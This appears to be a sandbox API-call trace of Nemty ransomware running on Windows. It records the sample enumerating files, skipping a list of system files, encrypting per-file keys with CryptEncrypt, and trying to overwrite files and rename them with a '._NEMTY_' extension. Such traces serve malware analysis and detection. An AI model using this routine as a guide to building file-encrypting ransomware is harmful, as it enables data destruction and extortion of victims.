[0072.553] GetLastError () returned 0x5 [0072.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.553] GetLastError () returned 0x5 [0072.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0072.554] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0072.554] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0072.554] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0072.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0072.554] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="wiC7eLdPneI+Un9N/2VQipZD6LLUE+czV72rwZvjjXXe5F01jsYvlFBiMrvaj5Lu\r\nT5C4SVSTgNXnRv4WgPKtb4+butIIkXGEGXRn6vXy7dQcXmoF7TDPOkbriOfggiLC\r\nc3dT5i5Q9MjxmGkVZIkU9LMujEw8ZE0xXltL2aCNfHXRgipM++yjGKG0YKk9UHwF\r\nHIDaQ8n2IMrWR29yqQvfXZJvl4vnD1ryqmA1sfhhy6LVUQjqvLMWtzqCJbEstXJm\r\nn0Yy6hC9Viw9KZ7QBOKinKfPe4oobapUZFGCddmFP+B1ZNJCt3emMOm5RI3Vc/TP\r\n24yWgJn+iIZUor9myl1heQ==\r\n", pcchString=0x653e91c) returned 1 [0072.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0072.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0072.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0072.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0072.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0072.554] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.555] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0072.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0072.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0072.661] CloseHandle (hObject=0xffffffff) returned 0 [0072.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0072.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0072.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0072.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0072.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0072.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403e0 [0072.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404a8 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0072.661] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png._nemty_kgobjgd_")) returned 0 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.661] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0072.661] lstrcmpiW (lpString1="redmenu.png", lpString2=".") returned 1 [0072.661] lstrcmpiW (lpString1="redmenu.png", lpString2="..") returned 1 [0072.661] lstrcmpiW (lpString1="redmenu.png", lpString2="...") returned 1 [0072.661] lstrcmpiW (lpString1="redmenu.png", lpString2="windows") returned -1 [0072.661] lstrcmpiW (lpString1="redmenu.png", lpString2="$RECYCLE.BIN") returned 1 [0072.661] lstrcmpiW (lpString1="redmenu.png", lpString2="rsa") returned -1 [0072.661] lstrcmpiW (lpString1="redmenu.png", lpString2="NTDETECT.COM") returned 1 [0072.661] lstrcmpiW (lpString1="redmenu.png", lpString2="ntldr") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="MSDOS.SYS") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="IO.SYS") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="boot.ini") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="boot.ini") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="AUTOEXEC.BAT") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="ntuser.dat") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="desktop.ini") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="CONFIG.SYS") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="RECYCLER") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="BOOTSECT.BAK") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="bootmgr") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="programdata") returned 1 [0072.662] lstrcmpiW (lpString1="redmenu.png", lpString2="appdata") returned 1 [0072.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redmenu.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0072.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redmenu.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="redmenu.png", lpUsedDefaultChar=0x0) returned 11 [0072.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redmenu.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0072.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redmenu.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="redmenu.png", lpUsedDefaultChar=0x0) returned 11 [0072.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redmenu.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0072.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redmenu.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="redmenu.png", lpUsedDefaultChar=0x0) returned 11 [0072.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redmenu.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0072.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="redmenu.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="redmenu.png", lpUsedDefaultChar=0x0) returned 11 [0072.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0072.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0072.663] Sleep (dwMilliseconds=0x5) [0072.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdef76ad0, dwHighDateTime=0x1d561e7)) [0072.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdef76ad0, dwHighDateTime=0x1d561e7)) [0072.678] GetLastError () returned 0x5 [0072.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.678] GetLastError () returned 0x5 [0072.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.679] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0072.679] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0072.679] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0072.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0072.679] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="FO88d/4ZZfAX//z+c/bMztyaOpg8cyKCOtO2y0Sfuafk5W5s+f/z8cJEKSPhU8BO\r\nBVWbYhc24Vlay7b9Ps6Wvjy72e5LZ/ioY8CiAPbTjGhEFSzO99pRRsVa/CSe6saX\r\njLt35YZxiFbWoI875He7YMEPxMO0M32/FwkNrkbMkUBTg2WdwfCLfZYr3AJysGvJ\r\ngg8sEZ70gmeOqo0fakqP70n1KHv/RBv+AbsW7VwVr0ocSnM5ew9SoH3E33dUr9V3\r\nkjPZ/B2ptOpU9O8nJRrWer/devwtLFDyUGNOceFoQmBXWkLGn/FST99jTmBS7VAy\r\nXr5gsejXmUJDEhAkLAZhPA==\r\n", pcchString=0x653e91c) returned 1 [0072.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0072.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0072.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0072.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0072.679] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.679] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0072.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0072.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, 